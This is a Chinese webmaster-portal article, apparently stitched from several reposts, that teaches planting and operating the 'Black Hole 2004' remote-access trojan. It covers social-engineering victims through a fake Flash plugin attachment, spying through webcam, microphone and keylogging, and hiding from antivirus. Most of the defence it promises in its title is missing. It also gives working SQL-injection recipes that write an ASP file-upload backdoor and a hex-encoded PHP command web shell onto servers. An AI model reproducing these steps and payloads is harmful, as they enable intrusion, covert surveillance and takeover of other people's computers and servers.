黑客种植木马新方法及防范策略-站长中国-中国站长门户从这里开始全面了解中国站长

黑客种植木马新方法及防范策略

黑客种植木马新方法及防范策略　 2007年08月09日14:38:08　 caifu1698 评论(1条) 字体:[大中小]
相关热点：黑客种植木马新方法及防范策略

黑客种植木马新方法及防范策略

相信很多朋友都听说过木马程序，总觉得它很神秘、很高难，但事实上随着木马软件的智能化，很多骇客都能轻松达到攻击的目的。今天，笔者就以最新的一款木马程序——黑洞2004，从种植、使用、隐藏、防范四个方面来为网络爱好者介绍一下木马的特性。需要提醒大家的是，在使用木马程序的时候，请先关闭系统中的病毒防火墙，因为杀毒软件会把木马作为病毒的一种进行查杀。

操作步骤:

一、种植木马

现在网络上流行的木马基本上都采用的是C/S 结构（客户端/服务端）。你要使用木马控制对方的电脑，首先需要在对方的的电脑中种植并运行服务端程序，然后运行本地电脑中的客户端程序对对方电脑进行连接进而控制对方电脑。

为了避免不熟悉木马的用户误运行服务端，现在流行的木马都没有提供单独的服务端程序，而是通过用户自己设置来生成服务端，黑洞2004也是这样。首先运行黑洞2004，点击“功能/生成服务端”命令，弹出“服务端配置”界面。由于黑洞2004采用了反弹技术（请参加小知识），首先单击旁边的“查看”按钮，在弹出的窗口中设置新的域名，输入你事先申请空间的域名和密码，单击“域名注册”，在下面的窗口中会反映出注册的情况。域名注册成功以后，返回“服务端配置”界面，填入刚刚申请的域名，以及“上线显示名称”、“注册表启动名称”等项目。为了迷惑他人，可以点“更改服务端图标”按钮为服务端选择一个图标。所有的设置都完成后，点击“生成EXE型服务端”就生成了一个服务端。在生成服务端的同时，软件会自动使用UPX为服务端进行压缩，对服务端起到隐藏保护的作用。

服务端生成以后，下一步要做的是将服务端植入别人的电脑？常见的方法有，通过系统或者软件的漏洞入侵别人的电脑把木马的服务端植入其的电脑；或者通过Email夹带，把服务端作为附件寄给对方；以及把服务端进行伪装后放到自己的共享文件夹，通过P2P软件（比如PP点点通、百宝等），让网友在毫无防范中下载并运行服务端程序。

由于本文主要面对普通的网络爱好者，所以就使用较为简单的Email夹带，为大家进行讲解。我们使用大家经常会看到的Flash动画为例，建立一个文件夹命名为“好看的动画”，在该文件夹里边再建立文件夹“动画.files”，将木马服务端软件放到该文件夹中假设名称为“abc.exe”，再在该文件夹内建立flash文件，在flash文件的第1帧输入文字“您的播放插件不全，单击下边的按钮，再单击打开按钮安装插件”，新建一个按钮组件，将其拖到舞台中，打开动作面板，在里边输入“on (press) {getURL("动画.files/abc.exe");}”，表示当单击该按钮时执行abc这个文件。在文件夹“好看的动画”中新建一个网页文件命名为“动画.htm”，将刚才制作的动画放到该网页中。看出门道了吗？平常你下载的网站通常就是一个.html文件和一个结尾为.files的文件夹，我们这么构造的原因也是用来迷惑打开者，毕竟没有几个人会去翻.files文件夹。现在我们就可以撰写一封新邮件了，将文件夹“好看的动画”压缩成一个文件，放到邮件的附件中，再编写一个诱人的主题。只要对方深信不疑的运行它，并重新启动系统，服务端就种植成功了。

二、使用木马

成功的给别人植入木马服务端后，就需要耐心等待服务端上线。由于黑洞2004采用了反连接技术，所以服务端上线后会自动和客户端进行连接，这时，我们就可以操控客户端对服务端进行远程控制。在黑洞2004下面的列表中，随便选择一台已经上线的电脑，然后通过上面的命令按钮就可以对这台电脑进行控制。下面就简单的介绍一下这些命令的意义。

文件管理：服务端上线以后，你可以通过“文件管理”命令对服务端电脑中的文件进行下载、新建、重命名、删除等操作。可以通过鼠标直接把文件或文件夹拖放到目标文件夹，并且支持断点传输。简单吧？

进程管理：查看、刷新、关闭对方的进程，如果发现有杀毒软件或者防火墙，就可以关闭相应的进程，达到保护服务器端程序的目的。

窗口管理：管理服务端电脑的程序窗口，你可以使对方窗口中的程序最大化、最小化、正常关闭等操作，这样就比进程管理更灵活。你可以搞很多恶作剧，比如让对方的某个窗口不停的最大化和最小化。

视频监控和语音监听：如果远程服务端电脑安装有USB摄像头，那么可以通过它来获取图像，并可直接保存为Media Play可以直接播放的Mpeg文件；需要对方有麦克风的话，还可以听到他们的谈话，恐怖吧？

除了上面介绍的这些功能以外，还包括键盘记录、重启关机、远程卸载、抓屏查看密码等功能，操作都非常简单，明白了吧？做骇客其实很容易。

三、隐藏

随着杀毒软件病毒库的升级，木马会很快被杀毒软件查杀，所以为了使木马服务端辟开杀毒软件的查杀，长时间的隐藏在别人的电脑中，在木马为黑客提供几种可行的办法。
木马的隐藏方式

1.在任务栏里隐藏

这是最基本的隐藏方式。如果在windows的任务栏里出现一个莫名其妙的图标，傻子都会明白是怎么回事。要实现在任务栏中隐藏在编程时是很容易实现的。我们以VB为例。在VB中，只要把from的Visible属性设置为False,ShowInTaskBar设为False程序就不会出现在任务栏里了。

2.在任务管理器里隐藏

查看正在运行的进程最简单的方法就是按下Ctrl+Alt+Del时出现的任务管理器。如果你按下Ctrl+Alt+Del后可以看见一个木马程序在运行，那么这肯定不是什么好木马。所以，木马会千方百计地伪装自己，使自己不出现在任务管理器里。木马发现把自己设为 "系统服务“就可以轻松地骗过去。在VB中，通过如下的代码就可以实现这一功能：

因此，希望通过按Ctrl+Alt+Del发现木马是不大现实的。

3.端口

一台机器有65536个端口，你会注意这么多端口么?而木马就很注意你的端口。如果你稍微留意一下，不难发现，大多数木马使用的端口在1024以上，而且呈越来越大的趋势;当然也有占用1024以下端口的木马，但这些端口是常用端口，占用这些端口可能会造成系统不正常，这样的话，木马就会很容易暴露。也许你知道一些木马占用的端口，你或许会经常扫描这些端口，但现在的木马都提供端口修改功能，你有时间扫描65536个端口么?

4.隐藏通讯

隐藏通讯也是木马经常采用的手段之一。任何木马运行后都要和攻击者进行通讯连接，或者通过即时连接，如攻击者通过客户端直接接人被植人木马的主机;或者通过间接通讯。如通过电子邮件的方式，木马把侵入主机的敏感信息送给攻击者。现在大部分木马一般在占领主机后会在1024以上不易发现的高端口上驻留;有一些木马会选择一些常用的端口，如80、23,有一种非常先进的木马还可以做到在占领80HTTP端口后，收到正常的HTTP请求仍然把它交与Web服务器处理，只有收到一些特殊约定的数据包后，才调用木马程序。

目前大部分木马都是采用TCP连接的方式使攻击者控制主机，这样，通过简单的netstat命令或者监视数据包等方式即可以查出攻击者IP。为了保护自己不被发现，木马开发者编制出了新的木马，可以通过ICM数据包进行通讯控制，这样，除非分析数据包里面的内容，否则很难发现木马连接。

5.隐藏隐加载方式

木马加载的方式可以说千奇百怪，无奇不有。但殊途同归，都为了达到一个共同的目的，那就是使你运行木马的服务端程序。如果木马不做任何伪装，就告诉你这是木马，你会运行它才怪呢。而随着网站互动化避程的不断进步，越来越多的东西可以成为木马的传播介质，Java Script、VBScript、ActiveX.XLM....几乎WWW每一个新功能部会导致木马的快速进化。

6.最新隐身技术

在Win9x时代，简单地注册为系统进程就可以从任务栏中消失，可是在Windows2000盛行的今天。这种方法遭到了惨败。注册为系统进程不仅仅能在任务栏中看到，而且可以直接在Services中直接控制停止。运行(太搞笑了，木马被客户端控制)。使用隐藏窗体或控制台的方法也不能欺骗无所不见的Admlin大人(要知道，在NT下，Administrator是可以看见所有进程的)。在研究了其他软件的长处之后，木马发现，Windows下的中文汉化软件采用的陷阱技术非常适合木马的使用。

这是一种更新、更隐蔽的方法。通过修改虚拟设备驱动程序 (VXD)或修改动态遵掇库 (DLL)来加载木马。这种方法与一般方法不同，它基本上摆脱了原有的木马模式---监听端口，而采用替代系统功能的方法(改写vxd或DLL文件)，木马会将修改后的DLL替换系统已知的DLL，并对所有的函数调用进行过滤。对于常用的调用，使用函数转发器直接转发给被替换的系统DLL，对于一些事先约定好的特种情况，DLL会执行一些相应的操作。实际上。这样的木马一般只是使用DLL进行监听，一旦发现控制端的请求就激活自身，绑在一个进程上进行正常的木马操作。这样做的好处是没有增加新的文件，不需要打开新的端口，没有新的进程，使用常规的方法监测不到它。在往常运行时，木马几乎没有任何瘫状，且木马的控制端向被控制端发出特定的信息后，隐藏的程序就立即开始运作。

因为大量特洛伊DLL的使用实际上已经危害到了Windows操作系统的安全和稳定性，微软已经开始使用DLL数字签名、校验技术来加强系统的安全性，因此，特洛伊DLL的时代很快会缩柬。取代它的将会是强行嵌入代码技术 (插入DLL，挂接API，进程的动态替换等等)，但是这种技术对于编写者的汇编功底要求很高。涉及大量硬编码的机器指令，并不是一般的木马编写者可以涉足的。

黑客利用IE缺陷传播木马可完全控制用户PC

美国当地时间本周二晚些时候，微软警告称，黑客正在利用一个尚未修正的IE缺陷对用户发动攻击。

据微软称，利用该缺陷向“有免疫缺陷”的计算机上下载特洛伊木马病毒的恶意软件已经在互联网上现身。微软最近发布的在线安全扫描工具已经具备了扫描和删除TrojanDownloader：Win32/Delf.DH 的能力。

微软在更新的安全公告中说，用户可以访问Windows Live Safety Center，利用“完全扫描”（Complete Scan ）选项扫描、清除该恶意代码及其未来的变种。

这一缺陷在5 月份就被报告给了微软。最初，它被认为只能导致拒绝服务攻击，IE被关闭。但是，安全专家上周提高了它的威胁等级，因为它被发现能够用来在有缺陷的计算机上远程地运行软件。

据安全公告中，微软还没有发布补丁软件，但正在加紧开发相应的补丁软件。安全监测厂商Secunia 将该缺陷的危险等级评定为“极度危急”。

受到该缺陷影响的操作系统包括Windows 98、Windows ME、Windows 2000、Windows XP。通过在一个网站上托管恶意软件，黑客可以完全地控制用户的计算机，一旦用户访问该网站，恶意代码就会在没有用户“参与”的情况下在用户的计算机上运行。

微软提供了数种临时性解决方案，其中包括调整IE的设置，禁止运行活动脚本或在运行这类脚本前提醒用户。
SQL注入与ASP木马上传

SQL注入与ASP木马上传

SQL注入后，如何上传木马，一[color=blue][/color]直是比较头疼的事，我这里提供上传木马的一种另一种方法。1、SQL注入的时候，用xp_cmdshell 向服务器上写入一个能写文件的asp文件。文件内容：<%Set objFSO = Server.createObject("Scripting.FileSystemObject")Set objCountFile=objFSO.createTextFile(request("mypath"),True)objCountFile.Write request("mydata")objCountFile.Close%>这个文件可以写成一行 <%Set objFSO = Server.createObject("Scripting.FileSystemObject"):Set objCountFile=objFSO.createTextFile(request("mypath"),True):objCountFile.Write request("mydata"):objCountFile.Close%>将特殊字符进行编码就可以得到 %3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E注入（这里假定web目录是C:\Inetpub\wwwroot\）： exec master..xp_cmdshell 'echo "%3C%25Set%20objFSO%20=%20Server.createObject(%22Scripting.FileSystemObject%22):Set%20objCountFile=objFSO.createTextFile(request(%22mypath%22),True):objCountFile.Write%20request(%22mydata%22):objCountFile.Close%25%3E" > C:\Inetpub\wwwroot\ftp.asp';这样在服务器的web 目录下将生成一个 ftp.asp文件该文件的代码为<%Set objFSO = Server.createObject("Scripting.FileSystemObject")Set objCountFile=objFSO.createTextFile(request("mypath"),True)objCountFile.Write request("mydata")objCountFile.Close%>你可以看到，上面代码中预留了两个接口 mypath 和 mydatamypath是下次提交的时候文件的生成路径mydata是文件的内容在本地编写一个客户端文件例：RohuClient.htm 代码如下<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>肉鸡文件生成器--客户端制作：绝对零度 QQ:12216796</title><style type="text/css"></style></head><script language="javascript" type="text/javascript">function chk(theform){if(theform.ftpUrl.value==''){alert('请输入递交的地址！');theform.ftpUrl.focus();return false;}if(theform.MyPath.value==''){alert('请输入生成文件的位置！');theform.MyPath.focus();return false;}if(theform.MyData.value==''){alert('请输入生成文件的内容！');theform.MyData.focus();return false;}theform.action=theform.ftpUrl.value;}</script><body><form name="RohuForm" method="post" action="" onSubmit="return chk(this)" target="_blank"><table width="673" border="0" align="center" cellpadding="0" cellspacing="0"><tr><td width="11%">目标位置：</td><td width="79%"><input name="ftpUrl" type="text" id="ftpUrl" size="50">例：http://127.0.0.1/FTP.ASP<;/td></tr><tr><td>生成文件：</td><td><input name="MyPath" type="text" id="MyPath">将在服务器上，生成的文件路径。例：C:\Inetpub\wwwroot erver.asp </td></tr><tr><td valign="top">文件代码：</td><td><textarea name="MyData" cols="100" rows="10" id="textarea"></textarea></td></tr><tr><td> </td><td><input type="submit" name="Submit" value="提交"></td></tr></table><br></form><table width="100%" border="0" cellspacing="0" cellpadding="0"><tr><td align="center">版权所有：绝对零度（<a href="http://www.rohu.com";>虎盟</a>）</td></tr></table></body></html>在目标位置栏填上刚刚生成的ftp.asp文件的url地址如 http://127.0.0.1/ftp.asp （这里假设服务器的ip是 127.0.0.1）在生成文件栏输入将在服务器上生成的文件名比如：C:\Inetpub\wwwroot erver.asp 在文件内容里，随意的粘贴一个asp代码点递交，当http://127.0.0.1/ftp.asp 文件执行完毕基本上服务器上的asp木马就生成了。浏览 http://127.0.0.1/Server.ASP 呵呵服务器就是你的了Hoky: 这篇文章前段时间不知道在那个地方看过.转贴的时候就没有写作者是谁.我也不记得了

通过Mysql 的语句生成后门木马的方法!

SELECT * FROM `vbb_strikes` WHERE 1 union select 2,3,0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E from vbb_strikes into outfile 'c:/inetpub/wwwroot/cmd.php'

通过Mysql 的注入或者在 phpmyadmin 里运行以上语句,则会C:/inetpub/wwwroot/下生成 cmd.php 文件,内容为原来的 vbb_strikes 内容,后面紧跟着:
[color=blue][/color]
2 3 <?php system($_REQUEST[cmd]);?>

再通过 http://www.xxx.com/cmd.php?cmd=dir c:\ 就可以执行系统DOS命令!

哪串0x3C3F7068702073797374656D28245F524551554553545B636D645D293B3F3E是什么东西?

就是<?php system($_REQUEST[cmd]);?>的十六进制编码了,如果不用这种方法,有不同的SQL版本会出现其它的编码:如%xx之类的,哪这个后门就不能执行的了!如果你有其它语名要弄,可以到UltraEdit里输入,再按[Ctrl+H]键,将里面的十六进制连在一起就可以了!

浏览 caifu1698 的个人空间

责任编辑：

拍一下